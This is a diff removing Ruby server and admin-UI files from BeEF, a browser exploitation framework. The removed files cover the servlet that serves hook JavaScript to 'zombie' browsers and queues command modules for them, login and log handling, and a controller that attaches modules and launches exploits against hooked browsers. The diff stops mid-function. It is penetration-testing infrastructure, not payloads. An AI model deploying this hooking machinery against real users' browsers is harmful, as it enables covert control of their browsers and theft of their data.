raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie_db.nil?
|
||||
|
||||
# validates that we have such a http request saved in the db
|
||||
http_db = H.first(:id => request_id.to_i, :zombie_id => zombie_db.id) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil?
|
||||
|
||||
# validates that the http request has not be ran before
|
||||
raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? true
|
||||
|
||||
# validates the body
|
||||
|
||||
body = @data['results'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "body is null" if body.nil?
|
||||
|
||||
@guard.synchronize {
|
||||
# save the results in the database
|
||||
http_db.response = body
|
||||
http_db.has_ran = true
|
||||
http_db.save
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,98 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This class handles connections from zombies to the framework.
|
||||
#
|
||||
class ZombieHandler < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
include BeEF::Server::Modules::Common
|
||||
include BeEF::Server::Modules::Requester
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
def initialize(config)
|
||||
@guard = Mutex.new
|
||||
@cmd_opts = BeEF::Console::CommandLine.parse
|
||||
@session = BeEF::UI::Session.instance
|
||||
end
|
||||
|
||||
#
|
||||
# This method processes the http requests sent by a zombie to the framework.
|
||||
# It will update the database to add or update the current zombie and deploy
|
||||
# some command modules or plugins.
|
||||
#
|
||||
def do_GET(request, response)
|
||||
@body = ''
|
||||
@params = request.query
|
||||
@request = request
|
||||
@response = response
|
||||
config = BeEF::Configuration.instance
|
||||
|
||||
# check source ip address of browser
|
||||
permitted_hooking_subnet = config.get('permitted_hooking_subnet')
|
||||
target_network = IPAddr.new(permitted_hooking_subnet)
|
||||
if not target_network.include?(request.peeraddr[3].to_s)
|
||||
BeEF::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.")
|
||||
@response.set_error(nil)
|
||||
return
|
||||
end
|
||||
|
||||
# get zombie if already hooked the framework
|
||||
hook_session_id = request.get_hook_session_id()
|
||||
hooked_browser = BeEF::Models::Zombie.first(:session => hook_session_id) if not hook_session_id.nil?
|
||||
|
||||
if not hooked_browser # is a new browser so return instructions to set up the hook
|
||||
|
||||
# generate the instructions to hook the browser
|
||||
host_name = @request.host # get the host from the HOST attribute in the HTTP header
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name)
|
||||
build_beefjs!(host_name)
|
||||
|
||||
else # is a known browseer so send instructions
|
||||
|
||||
# record the last poll from the browser
|
||||
hooked_browser.lastseen = Time.new.to_i
|
||||
|
||||
hooked_browser.count!
|
||||
hooked_browser.save
|
||||
|
||||
execute_plugins!
|
||||
|
||||
# add all availible command module instructions to the response
|
||||
zombie_commands = BeEF::Models::Command.all(:zombie_id => hooked_browser.id, :instructions_sent => false)
|
||||
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
|
||||
|
||||
# add all availible autoloading command module instructions to the response
|
||||
autoloadings = BeEF::Models::Command.all(:autoloadings => { :in_use => true })
|
||||
autoloadings.each {|command| add_command_instructions(command, hooked_browser)}
|
||||
|
||||
# executes the requester
|
||||
requester_run(hooked_browser)
|
||||
|
||||
end
|
||||
|
||||
# set response headers and body
|
||||
response.set_no_cache
|
||||
response.header['Content-Type'] = 'text/javascript'
|
||||
response.header['Access-Control-Allow-Origin'] = '*'
|
||||
response.header['Access-Control-Allow-Methods'] = 'POST, GET'
|
||||
response.body = @body
|
||||
|
||||
end
|
||||
|
||||
alias do_POST do_GET
|
||||
|
||||
private
|
||||
|
||||
# Object representing the HTTP request
|
||||
@request
|
||||
|
||||
# Object representing the HTTP response
|
||||
@response
|
||||
|
||||
# A string containing the list of BeEF components active in the hooked browser
|
||||
@beef_js_cmps
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,137 +0,0 @@
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
#
|
||||
# The authentication web page for BeEF.
|
||||
#
|
||||
class Authentication < BeEF::HttpController
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/' => method(:index),
|
||||
'/login' => method(:login),
|
||||
'/logout' => method(:logout)
|
||||
}
|
||||
})
|
||||
|
||||
@session = BeEF::UI::Session.instance
|
||||
end
|
||||
|
||||
# Function managing the index web page
|
||||
def index
|
||||
@headers['Content-Type']='text/html; charset=UTF-8'
|
||||
end
|
||||
|
||||
#
|
||||
# Function managing the login
|
||||
#
|
||||
def login
|
||||
|
||||
username = @params['username-cfrm'] || ''
|
||||
password = @params['password-cfrm'] || ''
|
||||
config = BeEF::Configuration.instance
|
||||
@headers['Content-Type']='application/json; charset=UTF-8'
|
||||
ua_ip = @request.peeraddr[3] # get client ip address
|
||||
@body = '{ success : false }' # attempt to fail closed
|
||||
|
||||
# check if source IP address is permited to authenticate
|
||||
if not permited_source?(ua_ip)
|
||||
BeEF::Logger.instance.register('Authentication', "IP source address (#{@request.peeraddr[3]}) attempted to authenticate but is not within permitted subnet.")
|
||||
return
|
||||
end
|
||||
|
||||
# check if under brute force attack
|
||||
time = Time.new
|
||||
if not timeout?(time)
|
||||
@session.set_auth_timestamp(time)
|
||||
return
|
||||
end
|
||||
|
||||
# check username and password
|
||||
if not (username.eql? config.get('ui_username') and password.eql? config.get('ui_password') )
|
||||
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has failed to authenticate in the application.")
|
||||
return
|
||||
end
|
||||
|
||||
# establish an authenticated session
|
||||
|
||||
# set up session and set it logged in
|
||||
@session.set_logged_in(ua_ip)
|
||||
|
||||
# create session cookie
|
||||
session_cookie_name = config.get('session_cookie_name') # get session cookie name
|
||||
session_cookie = WEBrick::Cookie.new(session_cookie_name, @session.get_id)
|
||||
session_cookie.path = '/'
|
||||
session_cookie.httponly = true
|
||||
|
||||
# add session cookie to response header
|
||||
@headers['Set-Cookie'] = session_cookie.to_s
|
||||
|
||||
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has successfuly authenticated in the application.")
|
||||
@body = "{ success : true }"
|
||||
end
|
||||
|
||||
#
|
||||
# Function managing the logout
|
||||
#
|
||||
def logout
|
||||
|
||||
# test if session is unauth'd
|
||||
raise WEBrick::HTTPStatus::BadRequest, "invalid nonce" if not @session.valid_nonce?(@request)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "invalid session" if not @session.valid_session?(@request)
|
||||
|
||||
@headers['Content-Type']='application/json; charset=UTF-8'
|
||||
|
||||
# set the session to be log out
|
||||
@session.set_logged_out
|
||||
|
||||
# clean up UA and expire the session cookie
|
||||
config = BeEF::Configuration.instance
|
||||
session_cookie_name = config.get('session_cookie_name') # get session cookie name
|
||||
session_cookie = WEBrick::Cookie.new(session_cookie_name, "")
|
||||
session_cookie.path = '/'
|
||||
session_cookie.expires = Time.now
|
||||
session_cookie.httponly = true
|
||||
|
||||
# add (expired) session cookie to response header
|
||||
@headers['Set-Cookie'] = session_cookie.to_s
|
||||
|
||||
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.addr} has successfuly logged out.")
|
||||
@body = "{ success : true }"
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Check the UI browser source IP is within the permitted subnet
|
||||
#
|
||||
def permited_source?(ip)
|
||||
# get permitted subnet
|
||||
config = BeEF::Configuration.instance
|
||||
permitted_ui_subnet = config.get('permitted_ui_subnet')
|
||||
target_network = IPAddr.new(permitted_ui_subnet)
|
||||
|
||||
# test if ip within subnet
|
||||
return target_network.include?(ip)
|
||||
end
|
||||
|
||||
#
|
||||
# Brute Force Mitigation
|
||||
# Only one login request per login_fail_delay seconds
|
||||
#
|
||||
def timeout?(time)
|
||||
config = BeEF::Configuration.instance
|
||||
login_fail_delay = config.get('login_fail_delay') # get fail delay
|
||||
|
||||
# test if the last login attempt was less then login_fail_delay seconds
|
||||
time - @session.get_auth_timestamp > login_fail_delay.to_i
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,36 +0,0 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>BeEF Authentication</title>
|
||||
|
||||
<%= script_tag 'ext-base.js' %>
|
||||
<%= script_tag 'ext-all.js' %>
|
||||
<%= script_tag 'ui/authentication.js' %>
|
||||
|
||||
<%= stylesheet_tag 'ext-all.css' %>
|
||||
|
||||
<style>
|
||||
#centered {
|
||||
left:50%;
|
||||
top:50%;
|
||||
margin:-120px 0 0 -200px;
|
||||
position:fixed;
|
||||
}
|
||||
</style>
|
||||
|
||||
<!--[if IE]>
|
||||
<style>
|
||||
#centered {
|
||||
position:absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
margin-top: -120px;
|
||||
margin-left: -200px;
|
||||
}
|
||||
</style>
|
||||
<![endif]-->
|
||||
</head>
|
||||
|
||||
<body bgcolor="#DEE7F6">
|
||||
<div id="centered"></div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,72 +0,0 @@
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
class Logs < BeEF::HttpController
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/all.json' => method(:select_all_logs),
|
||||
'/zombie.json' => method(:select_zombie_logs)
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# Selects logs in the database and returns them in a JSON format.
|
||||
def select_all_logs
|
||||
|
||||
log = BeEF::Models::Log.all()
|
||||
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
|
||||
|
||||
# format log
|
||||
@body = logs2json(log)
|
||||
|
||||
end
|
||||
|
||||
# Selects the logs for a zombie
|
||||
def select_zombie_logs
|
||||
|
||||
# get params
|
||||
session = @params['session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "session is nil" if session.nil?
|
||||
|
||||
zombie = BeEF::Models::Zombie.first(:session => session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil?
|
||||
zombie_id = zombie.id
|
||||
|
||||
# get log
|
||||
log = BeEF::Models::Log.all(:zombie_id => zombie_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
|
||||
|
||||
# format log
|
||||
@body = logs2json(log)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Returns a list of logs in JSON format.
|
||||
def logs2json(logs)
|
||||
logs_json = []
|
||||
count = logs.length
|
||||
output = '{success: false}'
|
||||
|
||||
logs.each do |log|
|
||||
logs_json << {
|
||||
'id' => log.id.to_i,
|
||||
'date' => log.date.to_s,
|
||||
'event' => log.event.to_s,
|
||||
'type' => log.type.to_s
|
||||
}
|
||||
end
|
||||
|
||||
# format output
|
||||
output = {'success' => 'true', 'count' => count, 'logs' => logs_json}.to_json if not logs_json.empty?
|
||||
|
||||
output
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,580 +0,0 @@
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class Modules < BeEF::HttpController
|
||||
|
||||
BD = BeEF::Models::BrowserDetails
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/select/commandmodules/all.json' => method(:select_all_command_modules),
|
||||
'/select/commandmodules/tree.json' => method(:select_command_modules_tree),
|
||||
'/select/commandmodule.json' => method(:select_command_module),
|
||||
'/select/command.json' => method(:select_command),
|
||||
'/select/command_results.json' => method(:select_command_results),
|
||||
'/select/zombie_summary.json' => method(:select_zombie_summary),
|
||||
'/commandmodule/commands.json' => method(:select_command_module_commands),
|
||||
'/commandmodule/new' => method(:attach_command_module),
|
||||
'/commandmodule/dynamicnew' => method(:attach_dynamic_command_module),
|
||||
'/commandmodule/reexecute' => method(:reexecute_command_module)
|
||||
}
|
||||
})
|
||||
|
||||
@session = BeEF::UI::Session.instance
|
||||
end
|
||||
|
||||
# Returns a JSON array containing the summary for a selected zombie.
|
||||
def select_zombie_summary
|
||||
|
||||
# get the zombie
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
|
||||
zombie = BeEF::Models::Zombie.first(:session => zombie_session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
|
||||
# set and add the return values for the page title
|
||||
page_title = BD.get(zombie_session, 'PageTitle')
|
||||
if not page_title.nil?
|
||||
encoded_page_title = CGI.escapeHTML(page_title)
|
||||
encoded_page_hash = { 'Page Title' => encoded_page_title }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_page_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the host name
|
||||
host_name = BD.get(zombie_session, 'HostName')
|
||||
if not host_name.nil?
|
||||
encoded_host_name = CGI.escapeHTML(host_name)
|
||||
encoded_host_name_hash = { 'Host Name' => encoded_host_name }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_host_name_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the os name
|
||||
os_name = BD.get(zombie_session, 'OsName')
|
||||
if not host_name.nil?
|
||||
encoded_os_name = CGI.escapeHTML(os_name)
|
||||
encoded_os_name_hash = { 'OS Name' => encoded_os_name }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_os_name_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the browser name
|
||||
browser_name = BD.get(zombie_session, 'BrowserName')
|
||||
if not browser_name.nil?
|
||||
friendly_browser_name = BeEF::Constants::Browsers.friendly_name(browser_name)
|
||||
browser_name_hash = { 'Browser Name' => friendly_browser_name }
|
||||
|
||||
browser_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => browser_name_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(browser_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the browser version
|
||||
browser_version = BD.get(zombie_session, 'BrowserVersion')
|
||||
if not browser_version.nil?
|
||||
encoded_browser_version = CGI.escapeHTML(browser_version)
|
||||
browser_version_hash = { 'Browser Version' => encoded_browser_version }
|
||||
|
||||
browser_version_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => browser_version_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(browser_version_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the list of plugins installed in the browser
|
||||
browser_plugins = BD.get(zombie_session, 'BrowserPlugins')
|
||||
if not browser_plugins.nil? and not browser_plugins.empty?
|
||||
encoded_browser_plugins = CGI.escapeHTML(browser_plugins)
|
||||
encoded_browser_plugins_hash = { 'Browser Plugins' => encoded_browser_plugins }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_browser_plugins_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the internal ip address
|
||||
internal_ip = BD.get(zombie_session, 'InternalIP')
|
||||
if not internal_ip.nil?
|
||||
encoded_internal_ip = CGI.escapeHTML(internal_ip)
|
||||
encoded_internal_ip_hash = { 'Internal IP' => encoded_internal_ip }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_internal_ip_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the internal hostname
|
||||
internal_hostname = BD.get(zombie_session, 'InternalHostname')
|
||||
if not internal_hostname.nil?
|
||||
encoded_internal_hostname = CGI.escapeHTML(internal_hostname)
|
||||
encoded_internal_hostname_hash = { 'Internal Hostname' => encoded_internal_hostname }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_internal_hostname_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
@body = summary_grid_hash.to_json
|
||||
end
|
||||
|
||||
# Returns the list of all command_modules in a JSON format
|
||||
def select_all_command_modules
|
||||
@body = command_modules2json(Dir["#{$root_dir}/modules/commands/**/*.rb"])
|
||||
end
|
||||
|
||||
# Returns the list of all command_modules for a TreePanel in the interface.
|
||||
def select_command_modules_tree
|
||||
command_modules_tree_array = []
|
||||
command_modules_categories = []
|
||||
|
||||
# get an array of all the command modules in the database
|
||||
db_command_modules = BeEF::Models::CommandModule.all(:order => [:id.asc])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "db_command_modules is nil" if db_command_modules.nil?
|
||||
|
||||
db_command_modules.each {|command_module_db_details|
|
||||
|
||||
# get the hooked browser session id and set it in the command module
|
||||
hook_session_id = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "hook_session_id is nil" if hook_session_id.nil?
|
||||
|
||||
# create an instance of the comand module
|
||||
command_module_name = File.basename command_module_db_details.path, '.rb' # get the name
|
||||
command_module = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new
|
||||
command_module.session_id = hook_session_id
|
||||
command_module.update_info(command_module_db_details.id) if(command_module_db_details.path.match(/^Dynamic/))
|
||||
|
||||
|
||||
# set command module treeview display properties
|
||||
command_module_friendly_name = command_module.info['Name'].downcase
|
||||
command_module_category = command_module.info['Category'].downcase
|
||||
|
||||
# create url path and file for the command module icon
|
||||
command_module_icon_path = BeEF::Constants::CommandModule::MODULE_TARGET_IMG_PATH # add icon path
|
||||
case command_module.verify_target() # select the correct icon for the command module
|
||||
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING
|
||||
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING_IMG
|
||||
command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING
|
||||
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY
|
||||
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY_IMG
|
||||
command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY
|
||||
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING
|
||||
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING_IMG
|
||||
command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING
|
||||
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
|
||||
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG
|
||||
command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
|
||||
else
|
||||
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG
|
||||
command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
|
||||
end
|
||||
|
||||
# construct the category branch if it doesn't exist for the command module tree
|
||||
if not command_modules_categories.include? command_module_category
|
||||
command_modules_categories.push(command_module_category) # flag that the categor has been added
|
||||
command_modules_tree_array.push({ # add the branch structure
|
||||
'text' => command_module_category,
|
||||
'cls' => 'folder',
|
||||
'children' => []
|
||||
})
|
||||
end
|
||||
|
||||
# construct leaf node for the command module tree
|
||||
leaf_node = {
|
||||
'text' => command_module_friendly_name,
|
||||
'leaf' => true,
|
||||
'icon' => command_module_icon_path,
|
||||
'status' => command_module_status,
|
||||
'id' => command_module_db_details.id
|
||||
}
|
||||
|
||||
# add the node to the branch in the command module tree
|
||||
command_modules_tree_array.each {|x|
|
||||
if x['text'].eql? command_module_category
|
||||
x['children'].push( leaf_node )
|
||||
break
|
||||
end
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# sort the parent array nodes
|
||||
command_modules_tree_array.sort! {|a,b| a['text'] <=> b['text']}
|
||||
|
||||
# sort the children nodes by status then alpha
|
||||
command_modules_tree_array.each {|x|
|
||||
x['children'] = x['children'].sort_by {|a| [a['status'], a['text']]}
|
||||
}
|
||||
|
||||
# append the number of command modules so the branch name results in: "<category name> (num)"
|
||||
command_modules_tree_array.each {|command_module_branch|
|
||||
num_of_command_modules = command_module_branch['children'].length
|
||||
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||
}
|
||||
|
||||
# return a JSON array of hashes
|
||||
@body = command_modules_tree_array.to_json
|
||||
end
|
||||
|
||||
# Returns the absolute path of the rb file mapped to the id in the database
|
||||
def get_command_module_path(command_module_id)
|
||||
|
||||
# get command_module from database
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
|
||||
command_module = BeEF::Models::CommandModule.first(:id => command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid command_module id" if command_module.nil?
|
||||
|
||||
# Dynamic modules won't have a real path
|
||||
return command_module.path if (command_module.path.match(/^Dynamic/))
|
||||
|
||||
# construct command_module path
|
||||
absolute_command_module_path = $root_dir+File::SEPARATOR+command_module.path
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module file does not exist" if not File.exists?(absolute_command_module_path)
|
||||
|
||||
absolute_command_module_path
|
||||
end
|
||||
|
||||
|
||||
# Returns the inputs definition of an command_module.
|
||||
def select_command_module
|
||||
|
||||
# get command_module id
|
||||
command_module_id = @params['command_module_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module_id is nil" if command_module_id.nil?
|
||||
|
||||
# get the command_module path
|
||||
absolute_command_module_path = get_command_module_path(command_module_id)
|
||||
|
||||
# check if the request relates to a dynamic module
|
||||
if(absolute_command_module_path.match(/^Dynamic/))
|
||||
# get command_module id
|
||||
payload_name = @params['payload_name'] || nil
|
||||
|
||||
if not payload_name.nil?
|
||||
@body = dynamic_payload2json(command_module_id, payload_name)
|
||||
else
|
||||
@body = dynamic_modules2json(command_module_id);
|
||||
end
|
||||
else
|
||||
@body = command_modules2json([absolute_command_module_path]);
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the list of commands for an command_module
|
||||
def select_command_module_commands
|
||||
commands = []
|
||||
i=0
|
||||
|
||||
# get params
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
|
||||
command_module_id = @params['command_module_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
# get the browser id
|
||||
zombie = Z.first(:session => zombie_session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
|
||||
zombie_id = zombie.id
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
|
||||
|
||||
C.all(:command_module_id => command_module_id, :zombie_id => zombie_id).each do |command|
|
||||
commands.push({
|
||||
'id' => i,
|
||||
'object_id' => command.id,
|
||||
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
|
||||
'label' => command.label
|
||||
})
|
||||
i+=1
|
||||
end
|
||||
|
||||
@body = {
|
||||
'success' => 'true',
|
||||
'commands' => commands}.to_json
|
||||
|
||||
end
|
||||
|
||||
# Attaches an command_module to a zombie.
|
||||
def attach_command_module
|
||||
|
||||
definition = {}
|
||||
|
||||
# get params
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil?
|
||||
command_module_id = @params['command_module_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
@params.keys.each {|param|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not Filter.has_valid_param_chars?(param)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "first char is num" if Filter.first_char_is_num?(param)
|
||||
definition[param[4..-1]] = params[param]
|
||||
oc = BeEF::Models::OptionCache.first_or_create(:name => param[4..-1])
|
||||
oc.value = params[param]
|
||||
oc.save
|
||||
}
|
||||
|
||||
zombie = Z.first(:session => zombie_session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
|
||||
zombie_id = zombie.id
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
|
||||
|
||||
C.new( :data => definition.to_json,
|
||||
:zombie_id => zombie_id,
|
||||
:command_module_id => command_module_id,
|
||||
:creationdate => Time.new.to_i
|
||||
).save
|
||||
|
||||
@body = '{success : true}'
|
||||
end
|
||||
|
||||
# Re-execute an command_module to a zombie.
|
||||
def reexecute_command_module
|
||||
|
||||
# get params
|
||||
command_id = @params['command_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
|
||||
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
command.has_run = false
|
||||
command.save
|
||||
|
||||
@body = '{success : true}'
|
||||
end
|
||||
|
||||
def attach_dynamic_command_module
|
||||
|
||||
definition = {}
|
||||
|
||||
# get params
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil?
|
||||
command_module_id = @params['command_module_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
@params.keys.each {|param|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not Filter.has_valid_param_chars?(param)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "first char is num" if Filter.first_char_is_num?(param)
|
||||
definition[param[4..-1]] = params[param]
|
||||
oc = BeEF::Models::OptionCache.first_or_create(:name => param[4..-1])
|
||||
oc.value = params[param]
|
||||
oc.save
|
||||
}
|
||||
|
||||
zombie = Z.first(:session => zombie_session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
|
||||
zombie_id = zombie.id
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
|
||||
|
||||
mod = BeEF::Models::CommandModule.first(:id => command_module_id)
|
||||
|
||||
# if the module id is not in the database return false
|
||||
return {'success' => 'false'}.to_json if(not mod)
|
||||
|
||||
# the path will equal Dynamic/<type> and this will get just the type
|
||||
dynamic_type = mod.path.split("/").last
|
||||
e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new
|
||||
e.update_info(command_module_id)
|
||||
e.update_data()
|
||||
ret = e.launch_exploit(definition)
|
||||
|
||||
return {'success' => 'false'}.to_json if ret['result'] != 'success'
|
||||
|
||||
basedef = {}
|
||||
basedef['sploit_url'] = ret['uri']
|
||||
|
||||
C.new( :data => basedef.to_json,
|
||||
:zombie_id => zombie_id,
|
||||
:command_module_id => command_module_id,
|
||||
:creationdate => Time.new.to_i
|
||||
).save
|
||||
|
||||
@body = '{success : true}'
|
||||
end
|
||||
|
||||
# Returns the results of a command
|
||||
def select_command_results
|
||||
results = []
|
||||
|
||||
# get params
|
||||
command_id = @params['command_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
|
||||
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
|
||||
|
||||
# get command_module
|
||||
